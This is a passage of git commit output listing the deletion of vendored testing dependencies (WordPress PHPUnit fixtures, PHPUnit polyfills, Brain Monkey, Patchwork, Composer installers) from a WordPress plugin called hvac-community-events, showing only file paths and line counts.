.../themedir1/child-parent-itself/style.css | 4 - .../functions.php | 10 - .../custom-internationalized-theme/index.php | 4 - .../languages/de_DE.mo | Bin 636 -> 0 bytes .../languages/de_DE.po | 23 - .../languages/es_ES.mo | Bin 634 -> 0 bytes .../languages/es_ES.po | 23 - .../custom-internationalized-theme/style.css | 7 - .../default-child-no-theme-json/style.css | 8 - .../data/themedir1/default/comments.php | 4 - .../data/themedir1/default/footer.php | 1 - .../data/themedir1/default/functions.php | 18 - .../data/themedir1/default/header.php | 1 - .../data/themedir1/default/index.php | 5 - .../data/themedir1/default/sidebar.php | 1 - .../data/themedir1/default/style.css | 17 - .../data/themedir1/default/template-part.php | 3 - .../empty-fontface-theme/functions.php | 1 - .../themedir1/empty-fontface-theme/index.php | 4 - .../themedir1/empty-fontface-theme/style.css | 7 - .../empty-fontface-theme/templates/index.html | 3 - .../themedir1/empty-fontface-theme/theme.json | 79 - .../fonts/dm-sans/DMSans-Bold-Italic.woff2 | Bin 19200 -> 0 bytes .../assets/fonts/dm-sans/DMSans-Bold.woff2 | Bin 18212 -> 0 bytes .../assets/fonts/dm-sans/DMSans-Medium.ttf | Bin 63880 -> 0 bytes .../fonts/dm-sans/DMSans-MediumItalic.ttf | Bin 65764 -> 0 bytes .../fonts/dm-sans/DMSans-Regular-Italic.woff2 | Bin 19004 -> 0 bytes .../assets/fonts/dm-sans/DMSans-Regular.woff2 | Bin 18096 -> 0 bytes .../assets/fonts/dm-sans/LICENSE.txt | 94 - .../assets/fonts/open-sans/OFL.txt | 93 - ...OpenSans-Italic-VariableFont_wdth,wght.ttf | Bin 553648 -> 0 bytes .../OpenSans-VariableFont_wdth,wght.ttf | Bin 505424 -> 0 bytes .../assets/fonts/source-serif-pro/LICENSE.md | 93 - .../SourceSerif4Variable-Italic.otf.woff2 | Bin 280296 -> 0 bytes .../SourceSerif4Variable-Italic.ttf.woff2 | Bin 346840 -> 0 bytes .../SourceSerif4Variable-Roman.otf.woff2 | Bin 348988 -> 0 bytes .../SourceSerif4Variable-Roman.ttf.woff2 | Bin 428448 -> 0 bytes .../themedir1/fonts-block-theme/style.css | 7 - .../styles/variation-duplicate-fonts.json | 40 - .../styles/variation-new-font-family.json | 40 - .../styles/variation-new-font-variations.json | 40 - .../styles/variation-no-fonts.json | 9 - .../fonts-block-theme/templates/index.html | 3 - .../themedir1/fonts-block-theme/theme.json | 113 - .../internationalized-theme/functions.php | 8 - .../internationalized-theme/index.php | 4 - .../internationalized-theme/style.css | 7 - .../themedir1/page-templates-child/style.css | 12 - .../template-sub-dir-post-types-child.php | 5 - .../template-top-level-post-types-child.php | 6 - .../38766/no-trailing-period-post-types.php | 5 - .../page-templates/38766/tilde-post-types.php | 7 - .../38766/trailing-comma-post-types.php | 5 - .../38766/trailing-period-post-types.php | 5 - .../trailing-period-whitespace-post-types.php | 5 - .../trailing-whitespace-period-post-types.php | 5 - .../data/themedir1/page-templates/index.php | 3 - .../data/themedir1/page-templates/style.css | 11 - .../subdir/template-sub-dir-post-types.php | 5 - .../subdir/template-sub-dir.php | 5 - .../page-templates/template-header.php | 1 - .../template-top-level-post-types.php | 5 - .../page-templates/template-top-level.php | 5 - .../data/themedir1/rest-api/style.css | 15 - .../data/themedir1/sandbox/functions.php | 7 - .../data/themedir1/sandbox/index.php | 7 - .../data/themedir1/sandbox/style.css | 11 - .../data/themedir1/stylesheetonly/style.css | 14 - .../subdir/block_theme-[1.0.0]/index.php | 4 - .../subdir/block_theme-[1.0.0]/style.css | 7 - .../subdir/block_theme-[1.0.0]/theme.json | 72 - .../subdir/theme with spaces/index.php | 1 - .../subdir/theme with spaces/style.css | 11 - .../themedir1/subdir/theme2/functions.php | 3 - .../data/themedir1/subdir/theme2/index.php | 3 - .../data/themedir1/subdir/theme2/style.css | 11 - .../data/themedir1/theme1-dupe/functions.php | 7 - .../data/themedir1/theme1-dupe/index.php | 7 - .../data/themedir1/theme1-dupe/style.css | 17 - .../data/themedir1/theme1/functions.php | 7 - .../data/themedir1/theme1/index.php | 7 - .../data/themedir1/theme1/style.css | 17 - .../data/themedir1/update-uri-theme/index.php | 4 - .../data/themedir1/update-uri-theme/style.css | 9 - .../data/themedir2/test-parent/functions.php | 7 - .../data/themedir2/test-parent/index.php | 7 - .../data/themedir2/test-parent/style.css | 12 - .../data/themedir2/test/functions.php | 7 - .../wp-phpunit/data/themedir2/test/index.php | 7 - .../wp-phpunit/data/themedir2/test/style.css | 12 - .../wp-phpunit/data/uploads/dashicons.woff | Bin 26124 -> 0 bytes .../data/uploads/double-mime-type.docx | Bin 6109 -> 0 bytes .../data/uploads/pages-to-word.docx | Bin 8686 -> 0 bytes .../wp-phpunit/data/uploads/small-audio.flac | Bin 189102 -> 0 bytes .../wp-phpunit/data/uploads/small-audio.mp3 | Bin 45877 -> 0 bytes .../wp-phpunit/data/uploads/small-video.mkv | Bin 198332 -> 0 bytes .../wp-phpunit/data/uploads/small-video.mov | Bin 199067 -> 0 bytes .../wp-phpunit/data/uploads/small-video.mp4 | Bin 383631 -> 0 bytes .../wp-phpunit/data/uploads/small-video.webm | Bin 226548 -> 0 bytes .../wp-phpunit/data/uploads/test.csv | 16 - .../wp-phpunit/data/uploads/test.dfxp | 164 - .../wp-phpunit/data/uploads/test.rtf | 8 - .../wp-phpunit/data/uploads/test.tsv | 12 - .../wp-phpunit/data/uploads/test.vtt | 160 - .../wp-phpunit/data/uploads/video-play.svg | Bin 128 -> 0 bytes .../data/widgets/custom-widget-classes.php | 12 - .../wp-phpunit/includes/abstract-testcase.php | 1697 --------- .../wp-phpunit/includes/bootstrap.php | 395 --- .../includes/class-basic-object.php | 49 - .../includes/class-basic-subclass.php | 17 - .../class-jsonserializable-object.php | 22 - .../includes/class-wp-fake-block-type.php | 27 - ...s-wp-rest-test-configurable-controller.php | 60 - .../class-wp-rest-test-search-handler.php | 91 - .../class-wp-sitemaps-empty-test-provider.php | 38 - .../class-wp-sitemaps-large-test-provider.php | 59 - .../class-wp-sitemaps-test-provider.php | 52 - .../includes/class-wp-test-stream.php | 309 -- .../wp-phpunit/includes/exceptions.php | 34 - .../wp-phpunit/includes/factory.php | 14 - ...unittest-factory-callback-after-create.php | 33 - ...ass-wp-unittest-factory-for-attachment.php | 100 - .../class-wp-unittest-factory-for-blog.php | 89 - ...class-wp-unittest-factory-for-bookmark.php | 74 - .../class-wp-unittest-factory-for-comment.php | 99 - .../class-wp-unittest-factory-for-network.php | 83 - .../class-wp-unittest-factory-for-post.php | 68 - .../class-wp-unittest-factory-for-term.php | 129 - .../class-wp-unittest-factory-for-thing.php | 249 -- .../class-wp-unittest-factory-for-user.php | 64 - .../factory/class-wp-unittest-factory.php | 95 - .../class-wp-unittest-generator-sequence.php | 45 - .../wp-phpunit/includes/functions.php | 364 -- .../wp-phpunit/includes/install.php | 109 - .../wp-phpunit/includes/mock-fs.php | 242 -- .../wp-phpunit/includes/mock-image-editor.php | 75 - .../wp-phpunit/includes/mock-invokable.php | 17 - .../wp-phpunit/includes/mock-mailer.php | 109 - .../wp-phpunit/includes/normalize-xml.xsl | 76 - .../wp-phpunit/includes/object-cache.php | 2385 ------------- .../includes/phpunit-adapter-testcase.php | 19 - .../wp-phpunit/includes/phpunit6/compat.php | 41 - .../includes/plural-form-function.php | 20 - .../wp-phpunit/includes/spy-rest-server.php | 102 - .../wp-phpunit/includes/testcase-ajax.php | 273 -- .../includes/testcase-canonical.php | 357 -- .../wp-phpunit/includes/testcase-rest-api.php | 31 - .../includes/testcase-rest-controller.php | 59 - .../testcase-rest-post-type-controller.php | 326 -- .../wp-phpunit/includes/testcase-xml.php | 92 - .../wp-phpunit/includes/testcase-xmlrpc.php | 37 - .../wp-phpunit/includes/testcase.php | 7 - .../wp-phpunit/wp-phpunit/includes/trac.php | 63 - .../includes/unregister-blocks-hooks.php | 69 - .../wp-phpunit/wp-phpunit/includes/utils.php | 644 ---- .../wp-phpunit/includes/wp-profiler.php | 220 -- .../wp-phpunit/wp-phpunit/wp-tests-config.php | 22 - .../yoast/phpunit-polyfills/CHANGELOG.md | 233 -- .../vendor/yoast/phpunit-polyfills/LICENSE | 29 - .../vendor/yoast/phpunit-polyfills/README.md | 825 ----- .../yoast/phpunit-polyfills/composer.json | 104 - .../phpunitpolyfills-autoload.php | 524 --- .../src/Exceptions/Error.php | 8 - .../InvalidComparisonMethodException.php | 25 - .../src/Exceptions/TypeError.php | 8 - .../src/Helpers/AssertAttributeHelper.php | 70 - .../src/Helpers/ResourceHelper.php | 144 - .../src/Polyfills/AssertClosedResource.php | 102 - .../Polyfills/AssertClosedResource_Empty.php | 37 - .../Polyfills/AssertEqualsSpecializations.php | 99 - .../AssertEqualsSpecializations_Empty.php | 10 - .../src/Polyfills/AssertFileDirectory.php | 264 -- .../Polyfills/AssertFileDirectory_Empty.php | 10 - .../AssertFileEqualsSpecializations.php | 134 - .../AssertFileEqualsSpecializations_Empty.php | 10 - .../src/Polyfills/AssertIsType.php | 317 -- .../src/Polyfills/AssertIsType_Empty.php | 10 - .../src/Polyfills/AssertNumericType.php | 51 - .../src/Polyfills/AssertNumericType_Empty.php | 10 - .../src/Polyfills/AssertObjectEquals.php | 236 -- .../Polyfills/AssertObjectEquals_Empty.php | 10 - .../src/Polyfills/AssertObjectProperty.php | 154 - .../Polyfills/AssertObjectProperty_Empty.php | 10 - .../src/Polyfills/AssertStringContains.php | 106 - .../Polyfills/AssertStringContains_Empty.php | 10 - .../src/Polyfills/AssertionRenames.php | 167 - .../src/Polyfills/AssertionRenames_Empty.php | 10 - .../src/Polyfills/EqualToSpecializations.php | 56 - .../EqualToSpecializations_Empty.php | 10 - .../src/Polyfills/ExpectException.php | 128 - .../ExpectExceptionMessageMatches.php | 31 - .../ExpectExceptionMessageMatches_Empty.php | 10 - .../src/Polyfills/ExpectExceptionObject.php | 30 - .../Polyfills/ExpectExceptionObject_Empty.php | 10 - .../src/Polyfills/ExpectException_Empty.php | 10 - .../src/Polyfills/ExpectPHPException.php | 145 - .../Polyfills/ExpectPHPException_Empty.php | 10 - .../src/TestCases/TestCasePHPUnitGte8.php | 164 - .../src/TestCases/TestCasePHPUnitLte7.php | 178 - .../src/TestCases/XTestCase.php | 106 - ...tListenerDefaultImplementationPHPUnit6.php | 150 - ...stenerDefaultImplementationPHPUnitGte7.php | 150 - ...stenerDefaultImplementationPHPUnitLte5.php | 157 - .../TestListenerSnakeCaseMethods.php | 125 - .../vendor/yoast/wp-test-utils/CHANGELOG.md | 151 - .../vendor/yoast/wp-test-utils/LICENSE | 31 - .../vendor/yoast/wp-test-utils/README.md | 420 --- .../vendor/yoast/wp-test-utils/composer.json | 92 - .../src/BrainMonkey/TestCase.php | 210 -- .../src/BrainMonkey/YoastTestCase.php | 71 - .../src/BrainMonkey/bootstrap.php | 48 - .../src/Helpers/ExpectOutputHelper.php | 57 - .../src/WPIntegration/Autoload.php | 126 - .../src/WPIntegration/TestCase.php | 163 - .../src/WPIntegration/TestCaseNoPolyfills.php | 30 - .../TestCaseOnlyObjectPropertyPolyfill.php | 43 - .../src/WPIntegration/bootstrap-functions.php | 206 -- 2561 files changed, 218819 deletions(-) delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/Patchwork.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/box.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Decorator.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Handle.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Arguments.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CallRerouting.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/CodeManipulation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/ConflictPrevention.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Generic.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/Namespaces.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfInternals.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfLanguageConstructs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Actions/RedefinitionOfNew.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Source.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation/Stream.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Config.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Console.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Exceptions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Redefinitions/LanguageConstructs.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Stack.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/Utils.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/autoload.php delete mode 100755 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/bin/php-parse delete mode 100755 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/bin/phpunit delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitattributes delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitbook.yaml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/dependabot.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.github/workflows/php-qa.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/.gitignore delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/README.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/function-stubs.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-expect.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-setup.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/functions-testing-tools/functions-when.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/general/installation.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/more/migrating-from-v1.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/summary.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/what-and-why.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-added.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-hooks-done.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-setup.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-tools.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/docs/wordpress-specific-tools/wordpress-why-bother.md delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/api.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/patchwork-loader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-helper-functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/inc/wp-hook-functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/phpunit.xml.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Container.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/EscapeHelper.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/ExpectationArgsRequired.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidArgumentForStub.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/InvalidExpectationType.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissedPatchworkReplace.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/MissingFunctionExpectations.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Exception/NotAllowedMethod.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/Expectation.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationFactory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/ExpectationTarget.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStub.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Expectation/FunctionStubFactory.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidAddedHookArgument.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/Exception/InvalidHookArgument.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookExpectationExecutor.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookRunningStack.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Hook/HookStorage.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/CallbackStringForm.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClassName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureParamStringForm.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/ClosureStringForm.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/Exception.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidCallable.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidClosureParam.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/InvalidName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/Exception/NotInvokableObjectAsCallback.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/FunctionName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/brain/monkey/src/Name/MethodName.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/ClassLoader.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/InstalledVersions.php.bak.20250424054541 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_classmap.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_files.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_namespaces.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_psr4.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_real.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/autoload_static.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installed.php.bak.20250424054541 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/continuous-integration.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/lint.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/.github/workflows/phpstan.yml delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/LICENSE delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/composer.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/phpstan.neon.dist delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AglInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AimeosInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AnnotateCmsInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AsgardInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/AttogramInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BaseInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BitrixInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/BonefishInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CakePHPInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ChefInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CiviCrmInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ClanCatsFrameworkInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CockpitInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CodeIgniterInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Concrete5Installer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CraftInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/CroogoInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DecibelInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DframeInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DokuWikiInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DolibarrInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DrupalInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ElggInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EliasisInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EzPlatformInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelphpInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/GravInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/HuradInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ImageCMSInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Installer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ItopInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/JoomlaInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KanboardInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KirbyInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KnownInstaller.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KodiCMSInstaller.php delete mode 100644 